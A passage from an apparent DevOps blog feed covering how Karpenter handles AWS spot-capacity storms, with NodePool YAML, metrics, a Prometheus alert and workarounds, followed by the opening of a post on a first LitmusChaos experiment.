<li>Production posture today: a weighted spot NodePool with <code>minValues</code> across multiple instance families, a separate on-demand NodePool tainted with <code>karpenter.sh/capacity-type=on-demand:NoSchedule</code>, and alerts on <code>karpenter_cloudprovider_errors_total</code> plus <code>karpenter_nodeclaims_disrupted_total{reason=&quot;interruption&quot;}</code>.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A cluster running Karpenter (this post references v1 APIs; the behavior is the same on v0.32+ NodePools).</li>
<li>Familiarity with NodePool, NodeClass, and the v1 <code>requirements</code> schema.</li>
<li>Prometheus scraping Karpenter&#39;s <code>/metrics</code> endpoint.</li>
<li>Cluster-admin or comparable RBAC for editing NodePools.</li>
</ul>
<h2 id="h2-the-exact-behavior-during-a-storm" class="group relative scroll-mt-24">
        <a href="#h2-the-exact-behavior-during-a-storm" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The exact behavior during a storm
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-exact-behavior-during-a-storm"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>When <code>CreateFleet</code> returns <code>InsufficientInstanceCapacity</code>, <code>UnfulfillableCapacity</code>, or <code>MaxSpotInstanceCountExceeded</code>, Karpenter writes a log line like this and removes the offering from its in-memory pool:</p>
<pre><code class="hljs language-text">&quot;message&quot;:&quot;failed launching nodeclaim&quot;,
&quot;aws-error-code&quot;:&quot;UnfulfillableCapacity&quot;,
&quot;aws-operation-name&quot;:&quot;CreateFleet&quot;,
&quot;error&quot;:&quot;... InsufficientInstanceCapacity: We currently do not have sufficient c7i.xlarge capacity in the Availability Zone you requested (us-east-1f) ...&quot;

&quot;message&quot;:&quot;removing offering from offerings&quot;,
&quot;reason&quot;:&quot;MaxSpotInstanceCountExceeded&quot;,
&quot;instance-type&quot;:&quot;r8i-flex.xlarge&quot;,&quot;zone&quot;:&quot;us-east-1d&quot;,
&quot;capacity-type&quot;:&quot;spot&quot;,&quot;ttl&quot;:&quot;3m0s&quot;
</code></pre><p>That 3-minute TTL is a hard-coded constant in <code>pkg/cache/cache.go</code>. Three minutes later the offering is back in the pool. Karpenter tries it again. EC2 still does not have spot capacity for <code>c7i.xlarge</code> in <code>us-east-1f</code>. Same log lines. Same eviction. Same wait.</p>
<p>Meanwhile the pods stay Pending. Even if you wrote a second NodePool that allows on-demand, Karpenter will not automatically prefer it during the loop. From maintainer <code>DerekFrank</code> on <code>kubernetes-sigs/karpenter#2275</code>:</p>
<blockquote>
<p>If there aren&#39;t any on-demand <code>g4dn.xlarge</code> instances available in <code>us-east-1a</code>, it doesn&#39;t matter if Karpenter is trying to launch those from NodePool 1 or from NodePool 2. Karpenter won&#39;t retry simply because you have two NodePools.</p>
</blockquote>
<p>The unit of fallback is the <strong>offering</strong>, not the NodePool. A NodePool that requires <code>karpenter.sh/capacity-type In [spot]</code> will never produce an on-demand node, no matter how long the storm lasts. The second NodePool exists, but the scheduler picks based on per-offering availability and per-NodePool weight, not on a &quot;this NodePool is failing, switch&quot; signal.</p>
<p>The clearest reproduction is in <code>aws/karpenter-provider-aws#8885</code>: an Orca Security engineer ran a 1000-replica nginx deployment against weighted spot and on-demand NodePools during a real us-east-1 spot storm. 471 pods stayed Pending for more than an hour. The on-demand NodePool was untouched.</p>
<h2 id="h2-why-the-maintainers-consider-this-intentional" class="group relative scroll-mt-24">
        <a href="#h2-why-the-maintainers-consider-this-intentional" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why the maintainers consider this intentional
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-the-maintainers-consider-this-intentional"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Two design positions, both still standing as of writing:</p>
<p><strong>The 3-minute TTL is a feature, not a bug.</strong> From <code>jmdeal</code> on <code>#8298</code>:</p>
<blockquote>
<p>Karpenter does keep track of spot interruption events, but a spot interruption will only cause the instance type to be excluded from launch requests for 3 minutes. Spot availability can change quickly, so we don&#39;t want to opt out of using spot for too long.</p>
</blockquote>
<p>The argument is that AWS spot pools recover fast. If Karpenter dropped the offering for an hour after one ICE event, you would miss capacity coming back online. So the cache stays short.</p>
<p><strong>The official solution is wide requirements plus <code>minValues</code>, not automatic fallback.</strong> Karpenter assumes that if you give EC2 enough latitude in the <code>CreateFleet</code> call (many instance families, multiple sizes, multiple AZs), the price-capacity-optimized strategy will find a spot pool with capacity. Issue <code>#8298</code>, which asked for &quot;automatic spot interruption detection and on-demand fallback,&quot; was closed without implementation.</p>
<p>This is internally consistent. It is also a bad fit for two real-world scenarios:</p>
<ol>
<li><strong>Workloads with narrow instance-type constraints.</strong> GPU pods, license-pinned workloads, anything that pins to a specific family. The pool of compatible offerings is small. When it dries up, there is nothing for <code>CreateFleet</code> to fall back to within the spot capacity-type.</li>
<li><strong>Regional spot storms.</strong> When a whole region has spot pressure, widening requirements does not help. Every family is ICE&#39;d.</li>
</ol>
<p>For both cases you need an explicit fallback path. Karpenter will not build it for you.</p>
<h2 id="h2-workaround-1-weighted-nodepools-with-wide-requirements" class="group relative scroll-mt-24">
        <a href="#h2-workaround-1-weighted-nodepools-with-wide-requirements" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Workaround 1: weighted NodePools with wide requirements
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-workaround-1-weighted-nodepools-with-wide-requirements"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The official pattern. The spot NodePool runs at high weight and very wide requirements. The on-demand NodePool runs at low weight and is intended as the safety net.</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">karpenter.sh/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NodePool</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">spot</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">weight:</span> <span class="hljs-number">100</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">requirements:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.sh/capacity-type</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;spot&quot;</span>]
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.k8s.aws/instance-family</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;c7i&quot;</span>, <span class="hljs-string">&quot;c6i&quot;</span>, <span class="hljs-string">&quot;m7i&quot;</span>, <span class="hljs-string">&quot;m6i&quot;</span>, <span class="hljs-string">&quot;r7i&quot;</span>, <span class="hljs-string">&quot;r6i&quot;</span>]
          <span class="hljs-attr">minValues:</span> <span class="hljs-number">6</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.k8s.aws/instance-cpu</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;2&quot;</span>, <span class="hljs-string">&quot;4&quot;</span>, <span class="hljs-string">&quot;8&quot;</span>]
          <span class="hljs-attr">minValues:</span> <span class="hljs-number">3</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">kubernetes.io/arch</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;amd64&quot;</span>]
      <span class="hljs-attr">nodeClassRef:</span>
        <span class="hljs-attr">group:</span> <span class="hljs-string">karpenter.k8s.aws</span>
        <span class="hljs-attr">kind:</span> <span class="hljs-string">EC2NodeClass</span>
        <span class="hljs-attr">name:</span> <span class="hljs-string">default</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">karpenter.sh/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NodePool</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">on-demand-fallback</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">weight:</span> <span class="hljs-number">10</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">requirements:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.sh/capacity-type</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;on-demand&quot;</span>]
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.k8s.aws/instance-family</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;c7i&quot;</span>, <span class="hljs-string">&quot;c6i&quot;</span>, <span class="hljs-string">&quot;m7i&quot;</span>, <span class="hljs-string">&quot;m6i&quot;</span>, <span class="hljs-string">&quot;r7i&quot;</span>, <span class="hljs-string">&quot;r6i&quot;</span>]
          <span class="hljs-attr">minValues:</span> <span class="hljs-number">6</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.k8s.aws/instance-cpu</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;2&quot;</span>, <span class="hljs-string">&quot;4&quot;</span>, <span class="hljs-string">&quot;8&quot;</span>]
          <span class="hljs-attr">minValues:</span> <span class="hljs-number">3</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">kubernetes.io/arch</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;amd64&quot;</span>]
      <span class="hljs-attr">nodeClassRef:</span>
        <span class="hljs-attr">group:</span> <span class="hljs-string">karpenter.k8s.aws</span>
        <span class="hljs-attr">kind:</span> <span class="hljs-string">EC2NodeClass</span>
        <span class="hljs-attr">name:</span> <span class="hljs-string">default</span>
</code></pre><p>The <code>minValues</code> requirement is the single most important knob during a storm. <code>minValues: 6</code> on <code>instance-family</code> forces <code>CreateFleet</code> to evaluate six different families in the same call. EC2&#39;s price-capacity-optimized strategy picks whichever has capacity. You go from &quot;the c7i pool is empty, fail&quot; to &quot;the c7i pool is empty, try m7i, m6i, r7i, r6i, c6i.&quot;</p>
<p>Caveat from the Karpenter docs themselves: weighted NodePools are a preference, not a policy.</p>
<blockquote>
<p>Based on the way that Karpenter performs pod batching and bin packing, it is not guaranteed that Karpenter will always choose the highest priority NodePool given specific requirements.</p>
</blockquote>
<p>Treat weight as a tiebreaker that mostly works, not a guarantee.</p>
<h2 id="h2-workaround-2-capacity-type-taint-on-the-on-demand-pool" class="group relative scroll-mt-24">
        <a href="#h2-workaround-2-capacity-type-taint-on-the-on-demand-pool" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Workaround 2: capacity-type taint on the on-demand pool
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-workaround-2-capacity-type-taint-on-the-on-demand-pool"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Without a taint, pods can land on either NodePool. With a heavy spot workload that occasionally bursts to on-demand, you want pods to prefer spot even when on-demand is available. A taint on the on-demand NodePool forces an explicit toleration:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">karpenter.sh/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NodePool</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">on-demand-fallback</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">weight:</span> <span class="hljs-number">10</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">taints:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.sh/capacity-type</span>
          <span class="hljs-attr">value:</span> <span class="hljs-string">on-demand</span>
          <span class="hljs-attr">effect:</span> <span class="hljs-string">NoSchedule</span>
      <span class="hljs-attr">requirements:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.sh/capacity-type</span>
          <span class="hljs-attr">operator:</span> <span class="hljs-string">In</span>
          <span class="hljs-attr">values:</span> [<span class="hljs-string">&quot;on-demand&quot;</span>]
        <span class="hljs-comment"># ... family/cpu/arch as above</span>
</code></pre><p>Workloads that should fail over add the toleration:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">spec:</span>
  <span class="hljs-attr">tolerations:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">karpenter.sh/capacity-type</span>
      <span class="hljs-attr">operator:</span> <span class="hljs-string">Equal</span>
      <span class="hljs-attr">value:</span> <span class="hljs-string">on-demand</span>
      <span class="hljs-attr">effect:</span> <span class="hljs-string">NoSchedule</span>
</code></pre><p>This gives you two benefits. First, on-demand becomes opt-in per workload, so a misconfigured deployment cannot accidentally burn money. Second, your dashboards now show &quot;on-demand nodes provisioned&quot; as a clean signal that fallback fired, since on-demand only happens for tolerating workloads.</p>
<h2 id="h2-workaround-3-a-tiny-external-controller" class="group relative scroll-mt-24">
        <a href="#h2-workaround-3-a-tiny-external-controller" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Workaround 3: a tiny external controller
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-workaround-3-a-tiny-external-controller"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There is no upstream-blessed operator for spot-storm detection. Some teams build a small controller that watches Karpenter&#39;s error metrics and patches the spot NodePool to temporarily remove <code>spot</code> from <code>karpenter.sh/capacity-type</code> when interruption rates spike. The shape is straightforward:</p>
<pre><code class="hljs language-text">1. Watch karpenter_cloudprovider_errors_total{error=~&quot;Insufficient.*|Unfulfillable.*&quot;}
2. If rate &gt; threshold for N minutes, patch the spot NodePool:
     requirements:
       - key: karpenter.sh/capacity-type
         operator: In
         values: [&quot;on-demand&quot;]
3. After M minutes of error-rate quiet, revert.
</code></pre><p>This is not a substitute for workarounds 1 and 2. It is what you build when narrow-constraint workloads (GPU, instance-pinned) still need a fallback path. Treat it as an internal tool, not a product.</p>
<h2 id="h2-metrics-that-catch-the-storm" class="group relative scroll-mt-24">
        <a href="#h2-metrics-that-catch-the-storm" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Metrics that catch the storm
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-metrics-that-catch-the-storm"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Karpenter exposes a useful set of cloudprovider metrics. The ones that matter during a storm:</p>
<ul>
<li><code>karpenter_cloudprovider_errors_total</code>: label <code>error</code> carries <code>InsufficientInstanceCapacity</code>, <code>UnfulfillableCapacity</code>, <code>MaxSpotInstanceCountExceeded</code>. A spike is the storm starting.</li>
<li><code>karpenter_cloudprovider_instance_type_offering_available</code>: gauge per <code>instance_type</code> / <code>capacity_type</code> / <code>zone</code>. Watch the sum drop.</li>
<li><code>karpenter_nodeclaims_created_total</code>, <code>karpenter_nodeclaims_terminated_total</code>, <code>karpenter_nodeclaims_disrupted_total{reason=&quot;interruption&quot;}</code>: when <code>disrupted{reason=interruption}</code> rate approaches <code>created</code> rate, you are churning.</li>
<li><code>karpenter_interruption_received_messages_total{message_type=&quot;SpotInterruptionKind&quot;}</code>: spot 2-minute warnings from the SQS queue.</li>
<li><code>karpenter_voluntary_disruption_decisions_total</code>, <code>karpenter_voluntary_disruption_queue_failures_total</code>.</li>
</ul>
<p>A working Prometheus alert that has caught real storms in production:</p>
<pre><code class="hljs language-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">KarpenterSpotStorm</span>
  <span class="hljs-attr">expr:</span> <span class="hljs-string">|
    sum(rate(karpenter_nodeclaims_disrupted_total{reason=&quot;interruption&quot;}[10m])) &gt; 0.05
    and
    sum(rate(karpenter_cloudprovider_errors_total{error=~&quot;InsufficientInstanceCapacity|UnfulfillableCapacity&quot;}[10m])) &gt; 0.1
</span>  <span class="hljs-attr">for:</span> <span class="hljs-string">10m</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">severity:</span> <span class="hljs-string">warning</span>
  <span class="hljs-attr">annotations:</span>
    <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Karpenter is looping on spot capacity errors&quot;</span>
    <span class="hljs-attr">description:</span> <span class="hljs-string">|
      Spot interruption rate is above 0.05/s AND CreateFleet capacity
      errors are above 0.1/s for 10m. The 3-minute offering TTL is
      probably looping. Consider temporarily widening the on-demand
      NodePool weight or removing &#x27;spot&#x27; from the capacity-type
      requirement until the region clears.</span>
</code></pre><p>The <code>AND</code> matters. Either signal alone is noisy. Together they describe the loop specifically.</p>
<h2 id="h2-known-bugs-in-the-metrics-themselves" class="group relative scroll-mt-24">
        <a href="#h2-known-bugs-in-the-metrics-themselves" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Known bugs in the metrics themselves
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-known-bugs-in-the-metrics-themselves"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few sharp edges worth knowing about before you build a dashboard on these:</p>
<ul>
<li><code>karpenter_interruption_received_messages_total{message_type=&quot;SpotInterruptionKind&quot;}</code> includes account-wide spot interruption events, not just Karpenter-managed instances. It will not match <code>karpenter_nodeclaims_terminated_total{reason=&quot;interruption&quot;}</code>. Issue <code>aws/karpenter-provider-aws#6376</code> is still open as of writing.</li>
<li>Earlier versions of Karpenter (around v0.37.0) incremented <code>karpenter_interruption_received_messages_total</code> by 2 per event. The fix shipped, but worth verifying against the cluster version you actually run. Issue <code>#6531</code>.</li>
<li>Metrics scraped from the standby (non-leader) replica return zeros or stale values, so scraping the Service can yield phantom drops. Issue <code>kubernetes-sigs/karpenter#1450</code>. Scrape the Pod, not the Service, or scrape both and reconcile.</li>
<li><code>karpenter_cloudprovider_errors_total</code> does not carry a <code>nodepool</code> label. You cannot alert directly on &quot;the spot NodePool is storming.&quot; Infer it from the <code>capacity_type</code> label if your provider build labels it, and confirm against your version. Open ask in <code>#8224</code>.</li>
</ul>
<h2 id="h2-what-to-expect-from-the-roadmap" class="group relative scroll-mt-24">
        <a href="#h2-what-to-expect-from-the-roadmap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to expect from the roadmap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-expect-from-the-roadmap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>As of writing, none of the obvious &quot;automatic fallback&quot; feature requests are scheduled. Issue <code>#8298</code> was closed without implementation. Issue <code>#2275</code> was closed as working-as-intended in January 2026. The configurable cache TTL and NodePool-aware metrics in <code>#8224</code> are still open with no design doc attached.</p>
<p>This is not because the maintainers don&#39;t care. It is because the architectural answer they are committed to (wide requirements plus <code>minValues</code> plus weighted NodePools) covers most cases. The cases it does not cover (narrow-constraint workloads, regional storms) are real, but rare enough that the project has not prioritized building the fallback machinery.</p>
<p>Practically, this means the production posture is yours to design. Plan for the storm.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Karpenter does not auto-fail-over from spot to on-demand. The 3-minute offering TTL plus per-offering retry semantics produce a tight loop during regional capacity storms that can keep workloads Pending for hours while on-demand capacity sits idle. The maintainers consider this intentional and recommend wide instance-type requirements plus weighted NodePools as the answer.</p>
<p>In production, run:</p>
<ol>
<li>A spot NodePool with at least six instance families and <code>minValues: 6</code> on family, plus <code>minValues</code> on CPU.</li>
<li>A separate on-demand NodePool with a <code>karpenter.sh/capacity-type=on-demand:NoSchedule</code> taint so fallback is opt-in.</li>
<li>A Prometheus alert that pairs <code>karpenter_nodeclaims_disrupted_total{reason=&quot;interruption&quot;}</code> rate with <code>karpenter_cloudprovider_errors_total</code> rate, firing only when both spike together.</li>
<li>An internal runbook that documents how to temporarily remove <code>spot</code> from the spot NodePool&#39;s <code>karpenter.sh/capacity-type</code> values during a storm, since Karpenter will not do it for you.</li>
</ol>
<p>The smart spot handler is still the right default. Just don&#39;t trust it to handle the day spot capacity stops being a thing.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Running Your First Chaos Engineering Experiment with Litmus]]></title>
      <link>https://devops.anhp.site/posts/running-first-chaos-engineering-experiment-litmus</link>
      <description><![CDATA[A hands-on walkthrough of installing LitmusChaos on Kubernetes, killing pods on purpose, and watching whether your app actually recovers. Real YAML, real output, no theory.]]></description>
      <pubDate>Mon, 18 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/running-first-chaos-engineering-experiment-litmus</guid>
      <category><![CDATA[Kubernetes]]></category>
      
      <category><![CDATA[chaos-engineering]]></category><category><![CDATA[litmus]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[resilience]]></category><category><![CDATA[sre]]></category>
      <content:encoded><![CDATA[<p>Your deployment has three replicas. Your readiness probe is set. Your HPA is configured. On paper, you can lose a pod and nothing should happen. But you have never actually tested it, because the only time pods die in production is at 3am, and by then it is too late to find out the readiness probe was checking the wrong port.</p>
<p>That is the gap chaos engineering fills. You break things on purpose during business hours, with a hypothesis and a stop button, and you learn what actually happens before a node failure or a kernel OOM teaches you the hard way.</p>
<p>This post walks through running your first experiment with LitmusChaos: install it, target a real deployment, kill a pod, and watch whether the system recovers like you expect.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
